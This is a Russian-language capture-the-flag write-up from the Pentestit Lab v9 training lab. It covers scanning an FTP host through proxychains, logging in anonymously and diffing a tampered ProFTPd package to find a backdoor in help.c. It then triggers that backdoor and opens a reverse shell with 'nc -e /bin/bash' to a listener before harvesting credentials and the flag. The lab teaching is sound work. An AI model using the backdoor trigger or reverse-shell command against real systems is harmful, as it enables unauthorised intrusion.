Получение флага FTP в лаборатории Pentestit.ru Lab v 9

Alexandr Vishniakov
Hackerstan CTF Team
6 min readNov 24, 2016

--

Нашей следующей целью является FTP. Чтобы понять, куда дальше двигаться, нам нужно получить возможности, которые у нас есть на фтп.

Просканируем этот хост посредством nmap через proxychains, выполним команду proxychains nmap -sT -PN -n -sV 172.16.0.4 . Результат сканирования дал нам следующее:

У нас открыты порты 21 и 22, нас конечно же интересует порт 21, выбор у нас тут не большой. Пробуем использовать пароли, которые мы получили из бекапа паролей прокси ранее, для входа на ftp. Увы, ни один не подходит. Тогда пробуем найти какой-то эксплоит для версии ProFTPd, но увы все выглядит так, как будто дырки пропатчены. Остается анонимный вход. Пробуем — вводим команду proxychains ftp -p 172.16.0.4 и, в качестве логина вводим anonymous, и радуемся сообщению системы, что анонимный доступ разрешен, вводим любой пароль и входим на ftp.

Далее нам нужно осмотреться и понять, что у нас имеется в нашем распоряжении.

И нашему вниманию предстает папка dist. Заглянем в нее!

А в ней deb пакет и архив с дистрибутивом proftpd. Вот спросите вы: “А зачем тут лежат эти файлы?”. Меня это тоже удивило. Думаю на них стоит взглянуть, нет ли в этих дистрибутивах каких либо изменений.

Скачиваем эти дистрибутивы. Посредством proxychains это очень легко, так как работают все команды ftp, как будто мы внутри сети. Так что, воспользовавшись командой get название_файла (этих команд придется выполнить 2), выкачиваем сразу на свою машину эти два файла.

Но для того чтобы сравнить и найти изменения в файлах, нужно скачать аналогичный пакет с официальных репо.

Проходимся по скачанным файлам binwalk, убеждаемся, что это архивы и deb пакет.

Качаем оригинальный proftpd версии 1.3.5 — конечно же сам архив с исходниками весит намного меньше того файла что мы получили с ftp.

Кладем в одну папку оба файла и распаковываем их. После распаковки в дело вступает binwally — очень удобный инструмент для поиска различий в файлах, написанный на python. Репозиторий тут https://github.com/bmaia/binwally

Выполняем команду python binwally.py ~/PENTESTIT/analyze/proftpd-dfsg-1.3.5_orig ~/PENTESTIT/analyze/proftpd-dfsg-1.3.5_pentestit/ | grep -E -v "ignored|matches|unique" и получаем небольшой список отличающихся файлов и, используя diff, просматриваем по аналогичным путям обе версии файла. Просморев так много файлов, я наткнулся на изменения в help.c и, сравнив два файла, понял что искал именно это, так как в строке присутствовало название организации большими буквами (потом узнал, что другие искали по названию организации используя grep). Но в мою голову такая мысль не пришла, и я сделал все как делают люди при анализе изменений, без всякого читерства и предположений.

Тут видно, что при вводе команды CYBEAR32C как аргумент для команды help при соединении к ftp можно получить доступ к шеллу. Хм, забавно запрятан бекдор, подумал я. И решил взглянуть на окружаюшие строки в help.c.

Открываем vim сразу на нужной строке 131, которая фигурирует в diff.

Вот измененный пакет и тут присутствует эта строка, а ниже представлен оригинальный код.

Как видим строка отсутствует. Значит мы на правильном пути. Да уж, очень интересно! Пробуем подконнектиться посредством telnet на 21 порт, так как тут также есть возможность работы через telnet соединение. Набираем команду proxychains telnet 172.16.0.4 21 и попадаем на ftp. Теперь нам нужно проинспектировать работу команды help CYBEAR32C.

Пытаемся набрать просто команду CYBEAR32C, но она без help не срабатывает. Тогда набираем команду help CYBEAR32C и наблюдаем очень странную картину. Вроде как очень похоже на шелл, но при вводе команд не получается увидеть результата, т.е. вывода нет. Значит нам нужно попытаться при помощи nc организовать нормальный шелл. Для этого выпоним следующие действия:

На машине ssh запускаем слушатель nc -vlp 8989, а из шелл запускаем команду nc -e /bin/bash 172.16.0.2 8989. И у нас все получается с первого раза. Теперь у нас есть полноценный шелл и бекдор, заложенный в ProFTPd, работает!

Теперь как видим при вводе команды, вывод получается нормально! Остается просмотреть файлы и определиться с содержимым, а также найти флаг!

Проходим по папкам и видим, что есть интересные папки, в которых можно поискать полезную информацию.

К текущему моменту, когда я пишу прохождение, в папке уже куча файлов созданных участниками. Но целевыми файлами тут являются router-config.old и trouble.cap.

Выполняем команду cat router-config.old и просматриваем содержимое файла.

Ниже замечаем пароль и логин пользователя.

Эти данные нам возможно пригодятся в будущем, но пока идем далее и продолжаем собирать информацию. Смотрим, что же может быть интересного в trouble.cap и видим также логин и пароль пользователя m.barry, запоминаем, записываем, складываем в отдельный документ все что нашли для будущего использования.

В этом дампе видим некое перемещение скрипта на python, пока что нет предположений, для чего это нужно.

Идем дальше. Заходим в папку old, смотрим содержимое файла ftp_test.txt и видим наш заветный флаг от FTP. Идем и фиксируем получение флага в профиле! И так у нас есть доступ к ftp, а также логин и пароль для доступа на роутер, но мы уже и так получили флаг CISCO. Так что эти данные могут нам пригодиться в других направлениях.

--

--

«Переписывание с нуля гарантирует лишь одно — ноль!» — Мартин Фаулер